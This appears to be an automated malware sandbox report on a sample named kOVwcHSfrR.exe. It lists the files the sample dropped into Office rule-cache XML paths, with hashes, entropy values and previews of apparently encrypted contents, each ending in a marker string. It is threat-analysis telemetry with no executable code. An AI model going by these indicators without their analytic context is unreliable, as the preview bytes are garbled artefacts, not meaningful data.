Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.717773336598965
Encrypted:	false
SSDEEP:	12:M5r08IU88BI4RIsBQDraVRkNYaTluTkNSoZpMYj2d5zxoHSpetlakOboqw1cii9a:lV994RADGVuNYaEoNS8d2dNxojCw1bD
MD5:	4F8971A1440EE4BED9C76CAC55C5F18F
SHA1:	42F672831FC0E907425C1E4F780DCA1D37A628C0
SHA-256:	98985513B2475874E9364D14147051D6905919F8B5A5AB3EFF461F0F7ED6921B
SHA-512:	5AEB62E3C37CCE185D43D48989D71FC06055E14349AD94452A637374F9B02A645A1C27E9134909BE9F2C78A971026731E777705DBED4A68B0482709BB4912CD0
Malicious:	false
Preview:	<?xmlN\|...T...3..p.84.W...Tq.....,.....U.&...$...ug..Qh./...=T;.1.rR.A._N..8y......X.U. .oC&J..Nv#t:..e..{q5.3...9.....f....<.S3..?C........&R+~......O:.=Ej5.......j/.y$.....-..b..gt...$..%3&..IZ....M{9.#.{.u.)./.u...Q...g...%w~1.1..vJ#=....f.Q.......a..i...8....a`"6.;.IAcN.}....[.%P..........m.1pfq.I.o]F.N.VW1.5.a.b..Pc....I.r. $m.to..t....b.z.!.b3.......)0\..f=.....8....._.{..H.\|.!.sY..@3.L'.z..0.g\.....@..m6AAV7+...........:.P.t......iS3u...5{H..\.7...0jy#.{E..E8..Cw.e......A.-....o....E..m...d6<.9{a.z.F6.f.J.k_.i{....n['..&.....J....5C..rM....w^K...........8... .".`.+.J."......"...+0........c.h..`...U...`9..};!l.Q.2....;.8.L..nU.O.....:...BX.e.......8.....b....[..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.766421169602353
Encrypted:	false
SSDEEP:	24:yU4SEpIDRXpWe22AxpJFoN7pBaINJAD2DxABoKRS+lFWZM9rnr8w1bD:yUXEpAXpz2ptw7pMuJq2yO3Cgenr8yD
MD5:	F0F01637E7EFFF1AAD4F2976768B4F7F
SHA1:	BB64C4E8E0AF81CC550555B9DE952C055342EC13
SHA-256:	D49BDDE1BFC368FDEA973731A355BB70E91416FC43255707B41BF81A03A87A82
SHA-512:	4B2608108FFB87DEC393B86259194563C476A9FE8139E7F24019F7E262C6C17463715C9792594D633D671710FBB8970C6DA40DEA60DE6524E6A3FC07F9C3AB6F
Malicious:	false
Preview:	<?xml..mZ.]ps.V.=A}.<..E......=,(...^.../....;.I0.$.\.X...a(6"..\|o...7N....M........SE.[......7.......8...a....p...E...OB.....K.."Q..... ..r.~y.7.V.~t.6..."..T.G.Uj.;.4....A.h.J...Y.......q....-.O......k]....L...;C..0..G.-F..?e.[.X...S..&.K.............:..=.e......&..x....s!....E.W.PqC..u.>_8..d(.....uhc....V..&....3..4...NV.uhmU..BR....@.r)...I.16.:..H.%`..JM".u?.9/ry...^e....-...~.T.z.......`.q....r....T..aA:..B...M3..K...7.....im=.c~R..Y?..S8}...1....g..v.y.p..A.JV....r.....!.p0Cu!^.r..v#E.5...U.dw..2.%L...x...=.R.....>...U.......s.Z.zl..d..\=\7.....e...v..d..I..l.&.." ..a.5t&....e./....Bz....'..TXl..I,...h.....................yzy3D..a5..V.N...q...^.r..J_..w.9e.H.#....S.b.....K..q....$g.k.....A(.W.T\|4.&.H..n.g3.I..0[..A..ah.[..h.Cs...._y....#o ..62..CO.\|.CWN.;.U@..=.......&..y..<....oq\|.{dV..W..C..}2..G.^.(..).D...e.*TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.833252980883383
Encrypted:	false
SSDEEP:	24:y7eutcT4+X+/HeKgv11YZiMruf4IiYFEtHJpzrHk1b+Xw1bD:QPtcYeKgzYMG3rYFiZrE1IyD
MD5:	0D6B00C290D5996ADD7ADDD1A7E5ADD6
SHA1:	F2A6263F721BAA81E86B4A119BEEA86919015D26
SHA-256:	01735A745196ABF843E2CABBA1F321B3A37910761ECD6AA73BB12475239B1406
SHA-512:	CF9DC1FEEDDDC694809306B1EB547BAF2C306B0933FC0890546875DEB66BFBF97519BCC9F449BB34A5BF64737346569963F10E4745A713A0FBE2C3EBD2739811
Malicious:	false
Preview:	<?xml..2.C..07b.}.....+wa.G...U....^...E.}w.......q.:.\|..u...<..GI.:...i..........oU..j..tJ.5.I.M._..R....A{.~\$....3..(.7.7.].rW.......K\|V..@!..).U.l)......1s.......\|.5"......aV.I...n..... .xn..L:.Z.qSy,.$s..e......O.oyU..%QGI...,............D...L.4(......L..<..B..Hk6L..u...........2N.}./.;......n....g...%Q..!..o.Sv].j....5oQB......w..Z.9.8>.\|,D2...9[x.6..=..?y.elt.;.5....e".....z.......YE......(..bW.i..%kM%R ..9..s.>../.....J...;....Hw,...1.E:..Z..D..6R.`.>.<>:.z3......).M]WY.aU...,...(7...`G...P.v.9jw<.......i!.9_R.2....Y....2..hO.....-\|..A..J.Mml.w.........?.....R.g....L.#...;.g1..n..~..,..%....N..K...e..%..nX+..zO.CA.N..j....5\|.:...;....P,.C.?.z...Z.;../V..Z......=..#..e.:.r.1..G..G.r.HX.4.b..aX..\|....Z.3Ke....yj.t..?.[7J.....8<...N...b.G..6....(...s.....4...U=..s.....{w`D.z%..'z....1.)..m.....h.\..QO..J...4R/._T.H.D..T.+]+2...b._.C.R....L....=P.))..I....;....bE.d..-.r.)...Y....-1.7...e...c.u.v..C.8....6.M.C..S....\...S..9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.780001803666167
Encrypted:	false
SSDEEP:	24:h903PQpMXDO9trxkCAa57/W8JxVNMaNOaYzWSg1hw1bD:h9034IO9VxkC8mjMaBhyD
MD5:	E39EEE842F0253045E6261A6110C8011
SHA1:	06801DF49E870AD1901BAF553C2376740121C39F
SHA-256:	FFCC13C95A5FE3DF3A44E405454B5E29BF49E986827E3FE75806086E9245248C
SHA-512:	D5332ED3C94FE502B3669FC010DE9C88A65213303C8D3B0832A76771AD09F90AD560DE9EEF9BA3F5044848C6A46C01B23F5CD25D03AE6C5120EC1FB518C0191F
Malicious:	false
Preview:	<?xmly...D..w..J...x.[WK.:6,....@.......ch.H)...W..}B.z).-......7eA.1U.T@..........=.......?.W..t.U.._P..h.'....}.cq.h.M.?..?.#.px.d...2...-..mJ...^..7..d..p.=.s....MNA-.....+...Z.O.V.M['.......;..u.,T.]:.(...Sp7.....f$...."4.J......X.....]...Kg..PS..`..^.v...w~.U..!7....mmCC.-.:..l...T.....m.........O.y..+......_.e....!..>.%..j..U8...f#..R......k.r...S.ON.^..kB?._g6..u._.. ]..41.....v.J..p.N.N2N....X...M....z.jQ...t...R....=.2...1..`....0.R..n..F[...B..s...E..F..[.Wxg.....'...v.W.{.f..:.f...Az...0~.ra...m..iEI..E..D...GN.e...@.'..nB...'..z....F?,....+T...C..k9Z.R..H..+/..[.lSr.)TZ.\|q4l.......9...gm..........c...I.....5.=9)yi*...6y<..<..{m.t....7.s./..M...)...{.P....gn.0nr9......Q.n..I-Y..-.Q...-....r.6.\|E...z...KS.i..M.q<....8E.....A".....?. .A.f..=....j...).o.4.g..."...5..g..wG.....%.3R}`/%C...#...>....sJ../...22..^l.`.B!.a..dd#..&c.=.....G....H.0..t..W...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.697702443525022
Encrypted:	false
SSDEEP:	24:RPPKinSxIWD3HIyPlerRsZCLYbU3Erw1bD:BDSxIWD3HbLMLY9ryD
MD5:	306F3D013BEC353B496BB10590E73671
SHA1:	68BDCD00AA0511D25F6B042A52ABF0B2CA9CD8C1
SHA-256:	2DC6CFB1167B5CD8ED65BF6033CEA58312CEE0C896A007D2329AD2A94CE4C32E
SHA-512:	C0F4FA29DB8DAE93DC94F1DF3D0B2385BE86B3E34C1D988D16E801940EE70C7C42FD5E55C23A60ED93C2E2C063C9C7EDC957A222244EA3778F5AA6F0453D1E48
Malicious:	false
Preview:	<?xml...5\|.@...H.y.......vFP..@...c$5.k.3..U..2..F~.....8...~.9..9./.\|.(...Cz..hyB..$.a...?....(.`.../..VNF...W..Y$.%#.....1..}^"(.qH.......XV.cLz...q%..^......B(...F.7.".q#.TK..B^...S.tp"...iaB^f......^..4n..C..k..V..k\|.S..]m.ilfI.....Q\.1v..I.{..K...#.&.V...:?.q.H..j...}..\..a.\.^>..q..lD..gU...lg'zx.y.{.O.....Cy?.Z<.........B.m2..d.....'.+.f....6#1:..7B..K.qSk.78A...UU.......e.32&.&.?f./...:....(.6iC.Hy...@...)c.Ke/.R.G.a.9YA...zM...g....M..;G.?............,................`..y..rz..c..k....D..GG..c.#4.[..0\...\|zII9..L.HMx.U....C.d^eb............?.\|x...QR.<.-..".z;O....uF.d..\...n.?Q5\G...E.z........9.5..L.3..x.M.......O.C#,.y..a+y.9...\5\|....3)Y?..d/....8.....ng.mq..e`..za..&..V...g..k.6..D.z..4...w.2.U>;.SG.>....+!...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.729572365018178
Encrypted:	false
SSDEEP:	24:BSclMvoqXLZzDVi7r1cTWFQf81r4crXDH6ow1bD:SwKhGOTUQULzDaoyD
MD5:	C8B13736FCAA89C995D0A632F03BCA62
SHA1:	E97E1C41BBD26A6C26EFA54F0B3550CC4F3E869D
SHA-256:	9911ECC34697345A93A1845124D7FC34BE7BB817731704731F7CC31BB769479D
SHA-512:	1D917A7D40B1D1E1C6A9DBB1CAD0208EEAF80D5D8FF7A36D1F120887A4B6A64BC124CE27315DAF76497E42B8F9DACF812838A79AC50F5E5AA3F0A5B7955AB553
Malicious:	false
Preview:	<?xml.f........L...aL...PT.s........0.z......_..Q.g...G....A.I..2.O...../P..W.P.M.kp(P.=.>\|..._.u..b?..XW......Y...G/....g..RzaWqQL...-+...}...vE#o.. .}NO[.a......\[..."....$..J..G..g5hsZ.`..%..y.K.....9.X........T{...."...62.. X.... .UY.~..Prz...kd0.....n.Y/....,.g.}..M{.3..h..[..n.A...;.(.}RoL..l2O~MB...k....0...}.*.(......k.$.....$..R.$H...(.....[...p..w+...t.S..../9..e2.{..]...zu..f.-..%....\|{.3...1.G.sx{3(6....D..A.I.!.-..C..h...J...WkcwO).ky@.....\|Q.)%.G.G.#.2#....0Z..._.....hj.dW.Yg.......g.%eX.3.I(].......H...5.....H....z[5.........+M.........1.....E.%O.mu.@i.....3..K...i....".;.....%......1Uz4\|.4.........[...H"......:.r.+$\r....E......2>.X.-....al..u.d.y..O....'..Z..c.c.7.8mTW....S.<I...L. .r4%.h...B.@..4(.uh..b0aH.@>A..m.......TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.624020168118583
Encrypted:	false
SSDEEP:	12:LPwroA0pX4FcA0NATIXQlD7/o607GJMyhLp967X40s0u8oqw1cii9a:LPws9UmATyM7g6gGuy567Vs0w1bD
MD5:	36C82A12E0A84E2FB4C6ED401ED1B365
SHA1:	9692FD99D0598C667835BEE1FEE2C4588562D950
SHA-256:	6CADEDDFAA52E23AA00A8FAC219DE36EB3F28EFA5297C982A0B7FAF3F010FF87
SHA-512:	6F77BBB60769C73B3429944F09A49BBF344A81A6EE84DC0EEBC056FD3AC3BFDE8A54AB4461A20F7EFF085E931A927F31871080E5686ED4001560BF443A1541D5
Malicious:	false
Preview:	<?xml....(TR_.26.G.v..0...L.P..4QS..6.\|.\|.S....qPh....h..F(..4...TmQA.tU.5N`g..e..%.h.#._bp.:.<.].s._.....zg.t..:......%.t..?RW@%.`.......'&..E.x........>.#.....U........+..8....A........R..>...e..d&.-T...y.{.el...n..2{.;;..?..._<.P~..v-pa.t.=..a.ea@,...Mf.t.a.t..+.o.....F..S.......jy..b.6{0Du...p.b..J+'..a"H...^z.5{8...P1(..H.=Y.u.D..a..e.k....Y.78..lEs....5...M!68...W?.y.............f.....j.)O....N....!iCc..5u... .........w.-.-.t.,..H...[..w.p..nMx.ffz..4.2}o.h..w.[f...W..$..wl\|6....W...3.M.6t..4C.\....z...va.......g.c...U..pk-.....!S<]..K.ht,_t...D.J..&:......_.&U.....%...T.f%Z<?..j4..\..p..-..."j3...{TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.831477781367631
Encrypted:	false
SSDEEP:	24:A/MhBdfvq56Qu5mnfa8KLTr4RhGPc+N00Sw1bD:A/MhBdfDQuMy9TrWhMcZyD
MD5:	FBF53667B6C1DA9666D5524B524196BC
SHA1:	6E4490B698D5B53EA2B2DA2430D7641AF64E5EDA
SHA-256:	29750EED97FF45B9B3255C03118107EB7E50068DF23DDBE6C9340F4C19437806
SHA-512:	E2EF835691D7A9192E5A5CC151BC23DFDB0B7D3816C4BA7F8DDA1729EE51DA9BE9E9FB9887D7D9C6BCFB09097F1EABE8A763F9317C31324D003FF89D8A3E27FD
Malicious:	false
Preview:	<?xml..._p._W...>.:.....g5..b"K).@..O..r.#9.8..H~.{.}......Y.....Hl......rO.......y..n.5.......%......y.......(.l./..xJ..W4.........U..s....1..[........on<...R..Z.W..b^.......-./s..k..q.W.0..C..N..._4..ov.....\P....6w......YG.V.h....{[....P.\KU..(TU.k.x.(.xg].=6....&..)i..K".k.L..RI.%.\|:V8vZ:..{.m...7..uc\.%e........J...P.9..2,.....m6..n.........7!...y.k.m......{:..&.p../H~....v^.T....3.g6;5;3............2....6...K..:..B..A.^&K..I.+.P..}o....$ j~i.cC=....7...2.......Ev.H.0..h.B....}u..\...\|q...0_.ME#.s7.Q?OV&.n.7".SU...y..u....GY....E..-L..yV.+.Tp..o\|.BO.YP..X"....ns.]?.t(x....YW....~.P.D....g....A...tw\.(...C.^,.iu.c......nx..\..6..pV.^`....T.4..P....c2.......T..#t\|b..9.\|..>...g.@n...!.x.k.PY..............9}(%.$-..]....T.z<z.)6..7.D..k^..<.#<...........C.B..<....&.H..Ly.C.'f..z..-."jw?../+z.i..3..Nj.h.6.O[....P.... ...0V>dg....w.ATJb.Z../.o[......'...h.Ei...4).Nl.\|..pz.r>Z.{............$mp^0..p...E./2.0(...s.....3...!C.r.)..5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.676340037961949
Encrypted:	false
SSDEEP:	12:yU4JsMpIzlWYOBe06C4wZ2EPKxAQqURkFhIf+VaAz1UWdR2YKszwptOtgnpoqw1X:ksMuzlWjBe06C4w42KCQqO+44wcwptOJ
MD5:	37D5A3CB1BDBB11AE00B05491642A61C
SHA1:	F116A9C23BC74598FB14F5BE37F998F02FB6DFB5
SHA-256:	55AD6AD03AF067FABEC0C4661B6277B507BBDD69856D24BCF19890E31A5AA5EE
SHA-512:	FC0547E80134F5BD152FC19020907D51179766B85007C7E8F0A660EE33F6A17411DE171818D8FC72E090D5E89F9EA30BAB8B2C9CAD0EAB744CE2056FF7AED6D9
Malicious:	false
Preview:	<?xml.[..j_..4...Q..NYTG1.T..<~A...f(.....Wcsk/C...m!....~...Z..`.;.).1j.....C1..X...$'..%......4..Uu.s.;B}.wIw.d.....Q..=+..2..\.j=..ypF.Q...1Q..}A!.~...8`hT..DO.r.[4.].Tc"mR....K........}<=...%..Y.......r...'..+....l2}..,gP.OI#.c.e..\K..<....!...2Q%....E.i1..D~$K.......XW..w............4.....F.x..m..K...b.0.r...DI!.......1....u..l...y..lfb..!..F)UK.A..;M.e.Y:_....%.5.1.r.....U..29}..W8.......nh......$..&..l..h..-z..0o.N...x<...rh..M.'E.1.QtM..AD.u.U. m..x......E./.R:LJ...d.n{..W^8..8.b.D..G..... $.........o..BM8TWX..>....`0...z-.S..H.v.{..h..).R.....xy.d.......y.`..;O...._~r..q7C.C7.....N.0..jTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.714390081991135
Encrypted:	false
SSDEEP:	12:kaqtNgMptNDB1uXUsOV9lNfyzPmH7K5k9sbnxt2moFSJotwaPhwkdSHug7oqw1cq:rqtNgSCEs4KKH7Ku9sttvvupdSHlw1bD
MD5:	E6A55018C364F629BBF52F18B2ED00BC
SHA1:	790D832E386BCB80A42173C0ECD377A2E308F3A9
SHA-256:	FF19E8BC97B2785B2A19DC0730ED553F036074EB6151310A131B20110F65B395
SHA-512:	2595084D0B1867F14EC36924608D00BF6512932104B7AF52EA9358DE053213D472D63B6B8D157885AE9AE2161C40886FF1EDD124CD6A83BFBA9F7E725D4157FB
Malicious:	false
Preview:	<?xmloA........y..F.d0;......:d.M.......0......\q.Qq!.........S........63DT.).eDa+.?P.$j..c>!.......@.b.>.=.....O;....,T...5.]......Y.......... lO...v.m..+..YQ:...).5....6I....J..;.......C(g@.....i......X.9.W..Dt,.1.0.B... .`....l.D...9..W-8i..#_H.5t...7s..S+(..&1........BK...`L....N......nK...z..Z....<h(Xc.Y...S..i....>..t.Ue.sH...t..y!.... Z..P...7u.;.....S?.SC{.FP'...fm..._..;i.Ou......l..'..GF...&s.....Q.q#..?14.h.]fj......VV/....Whw.....P.S...........i...EAV.Vu.hs.. <...n.UM.}O.G. .M<....5.....:.'.F..!A>.D....M.........PX..........H.8H..}>(.j.QKn..g....Q.}......:.......1..i..........q.....E.f..\.).......K.O...{....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.771030940945772
Encrypted:	false
SSDEEP:	24:lY2FmN/0FTspHaymiGB8plC9mVbDTTY4dW96k2w1bD:g/0Js9aymiZpl0mVbfNgIk2yD
MD5:	8CE41DB93CC03AE6A5F66E9A2FB6A3E2
SHA1:	67C12B1B0FDE7164818ABD15A8009D6BB5FBF767
SHA-256:	EAAFED2A355EAF10B4CECD782E33B37521E3E37A8C182120E218A603A4E2AE5F
SHA-512:	07E7233866588D25D1EDC13D7D1DBC19427EDD8FB6E82EE30E426A3E963C3F18D65418DBBB55CB858152EF1D6FCF6E2950AE63869C3546BA4186CD3D8C9C795D
Malicious:	false
Preview:	<?xml...R.1.G...L.2..%...l.]i...\|.......p.%..._7.~*....x.~.5GN...fA..z....p.7.pk..6.....v...d.{Q\_..d...hi.LN.R.%K..8....:...3..>.C..S.>.x"...C..gL...T6...~o.0:.NC....[&(.....~.Y..@...0..2...A.2.@...g....2..:.3...7.n.G..i....N.>..k....$T.!tj-.jW....%.t.q..(aq .......k..qn..?/...;...\...);T`a..o....F....O....[.+.HHV..].dj.e...l..xC.0{<T...)wm.J...........j...WH.....H.....c2..?.-........8...n0.PG........g.mr...6td..u,.!...M..\..?`q...4X&..5.............K...$.......q...[....b...%]6t).{.W..H.mM..`..IX.O.B.!.<...1Y..T.C....AW]..b.N..L.....;..xU.......Z\|]..c...g..].z.9.\|....%..;..4..0.vA,.$`.....D.....L...r!'.M.w..E%.u.^".\|.....n.%i.X.-...Zl-A..5d...O.cH....X.cq2.M..v(.d...Ic)Z.(..U...........E....\.......w..tB#..K.......?...9Ds...i$TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.791189431005281
Encrypted:	false
SSDEEP:	24:O8la+UsWFJdN861CxDFo7UWU8Da+Aw1bD:q+UsWFJdNn1CrabDa3yD
MD5:	B81DD9B5E3A47B4C9BA1055DA2226A11
SHA1:	8D746A8979E84026FE18BD6591E770C69F10B04C
SHA-256:	A723B5290E37F1D3FCC6E4001C4298E0EC1EA96DD6EAC1BB36EE04220D4CE3DA
SHA-512:	11DB91EA6A4895A7357B2588E8EA161C7666025C0676FD75724F292C43DA6D5837997079B9EEBEEF6AC5FB575724D146BB68BAA1F0B98CB1E4AB1E766DA6509D
Malicious:	false
Preview:	<?xml.... S...M..+,.].;..f.u....I.S.'.my..<.2....Va..#....PrPY.....e..........-......uT..%.7l.:r..x'........gR..~.....:eU.".}....x.......7..#y....T.1PX.&C.5..8.W.@.j..S.E....v....\|w......p..t..DC..._N+t.w5]\|.]d..d...uq!.E.`....M.-...{.n+n.[....ckX&...k...x.?WH...q@....b........'...f.b\...#........d....F.g..a....#P.H+..".;]......6....=[......nfl..y....i."..Q..Hn..L.{......u.:..7SL......K....I../j.v..p...E'ob..j..8y.._..M...s....l....3..E.4XLJ.......=...,.}0.M.,8H....\.........G.=...u..@...:..f..%..E.L...g.K.....9]V...;m.".....1.Pu.._..v\lF58H.4.Q2..r\.j....pc\........(.....(..$...L.v>.~...y..Iq....w.zd..T(1..z..V....U.z.;..o....F..,.Y.....$..-.....f~pXl#fN[.#..:..&..Ts......o..%..i..r..i........yZ.......c..j..a7.....$g....D\|4..........`&D.1;...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.791290887975982
Encrypted:	false
SSDEEP:	24:4inaKNGa4agV4Ra2ssYp2ZfhJYJa7maNypBHw9Hw1bD:4iaKNGR5V49ssYN2maNt5yD
MD5:	45FECE7D6EA9A57FFBCF6CC35A227DB4
SHA1:	507D8959B22460145AB47032E09987B4630947B7
SHA-256:	26A0B08315DA0F0C752ACBF17F529C0EE2341BC0848AB79FBD1D2F036BC70693
SHA-512:	423B3CF7B2358B0576290E52A169AF85F5DB45ADC490191EFFB0A92F5462578E25CDBC9E20A4C379DE42E4ACC6CE4F70DBEBB9C7EF4473BF644512895E6E71A9
Malicious:	false
Preview:	<?xml.{.2.\|......W.1k^.k. ..C..}.d..m.DOtm=..p.........7..[O.&..^..U...l.3 .3..Gg......=...X.."c...7..oq...g..bA(..l.IW...y..0A!..A.j.1V.+h.......y..{....>...>...R,.....O.b....... gN....C....K..E.p.2y.j..=..4\.-6.e..`M.........f.$`....w._....Z.m.B.H..O.........q........!.;.Zs..<]...R3AB.^....Z.e.).!5.{.Dh....C..4.,.;.N......6..y.W2UK-z.....^.........I.,..L....>..V.}..y.?.k...$@..IQ.........jN.?F_..c90...A=r..;.2...?..?....[./:.b.yPR...v.....h..Y"Bp.C...i.0#8t..&....gM..fL...[.V+.u..cD`Q.R@.W..j.E....;........N...GfO........d.0@.b&....m)..6.......................J......in~........P..5:.[.0..}UP.#.:..U4N..x....h(........<./.zK.....E.g."...ql..g&.....K.E]....G3....R......!..Ou...^.....M>...D..c......:...+...!...!.7.....`@....8z.}....N........\.........Z{..M%6.+?x\|8?....$o..b3..*#.>@u#...o.Z2.#../"pk....g?Qk.=....f:5..aK....).&k..lj.E.`..c.^Fj.g....J(..,:..y.pOTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.707446096643704
Encrypted:	false
SSDEEP:	12:D5IQeNSCRxCgaHtaeakYxfFImPYj7At8iDLz6eQ7kzXufTvjR8oqw1cii9a:tIQGSCRxyNaea7ZFImPOK7b3EiXavawd
MD5:	04908DA3B6B201C9F55E1C070AE5DDFF
SHA1:	07B03EF896513EA2012E454230E20CEC9B9ABEE1
SHA-256:	4665A0B58C44601EF9C2AC2BD27CD6758789E153B575625C7B10D4DB53860EF2
SHA-512:	EE7259713AFD5E9B30E0800329CED16873818EC214CD23FF03859327664AC8CAF1AF72442E2558D7E67B92D55012968612ADEC2BB9D57E2C7B48F93D2A48E0A3
Malicious:	false
Preview:	<?xmloI5.....U....(R'OF.6....l........k.FS..z.g.)...".-....C......=.z LU3..:.4..Y..R.t.K?..I....H09.I...C.:.`QZ#DX2.g..'..?.0.HF....n..o..Qh..Z...M..'..2!.F...(%..E[=@?.E....zX....a.W!>...^..!D..eR.......0..7.$.].?.3.l..J)M.T....h.......`.......?-..y~.q..CV...1.....+....t.dg.....h.1$.......w$>......n.I.......DY......}b\o.>.[7......)}....Nr.. .D....<..H7...p.gW....;n.r....Q!..1. ..R..s.1.....s.o..$.j%.p.%j$<.aA.......q.n.`X2K8....._.../...q....j...$.........o...'.+w6..f~.x:Z.U...8./._..W....}.l.kj!v.C......"...o;........\O...u.t.EE.1..CD^.&...C.*@...{.>...R...xA..g.....E9....u_\$.;......$...mt..P.".&..nd.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.7646499064471
Encrypted:	false
SSDEEP:	24:nVCW7n3EKFd+KtOlqO/LfEG1PbEy8nw1bD:VF7n3x+KkVjN1ATyD
MD5:	39D42054DFD5AF075836E72B1DBAAD77
SHA1:	75FBE2F48DF17130F61C62E746B7EC706CEFB709
SHA-256:	52AAD117A512F1C7D231CBF987D79EEB30DEF0F5BFCEFB33A21B6B4898DEB1EA
SHA-512:	10CB39DADA57623753859FA5CFCE54D090ED5F8CFDE1B280DFF5B95F2ABCADC8387E921C68EE22C84F261F8DAAF1D89A88D36BC4A48C8B789C1234FC647F8D09
Malicious:	false
Preview:	<?xml.a..C.....q[.]TXw..r.Q...;.D9..<v......d....E....?(y..!.z..0.qc}G~V.xAV.E.\|h....VG....8.H>m.....X9R....rro.U....ik..!.2<I...8.\|"RLYoP:]..}...$z....m...x..br.=.:+.1.gY.J..:.l..M[.x..~....d...[(R...\|mbU#........W..t....@...XP.8k..1....iJ..q....aq...b.qL...)..A.M.......3.S...].^.c.F...W.y.cA.....o.b..{...M.4....'..h..q.._.Q......6E..B...B="3..l.O.. .....N.4s...rq..(k:v...#.8!r..1E{@5.+ .}..~N~......C........8?.....3..:.B.5.e.....3....!S1...7&N;.rx...d.#..F.JS..n...R.-.u.*.C......5..{l......:..4.[..V".u...~........M~.!.z.P.9.:\.2@..L....XI....wR(.....>...[...#.o.%....T.....q..2..j....zU....E.<..hVt...X.....Z...@b/ f..Ec.U..1.~W..xe.D.2.7u..18373/t.S.r........R..%!..(I....z..............E...j].jI..V..Q.w.!.......>...F}..+..\........Jz).......&n...S'....~.U..lp....].....y..p..Z)%.:..U.....!..n..7f.W......TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.770647339206399
Encrypted:	false
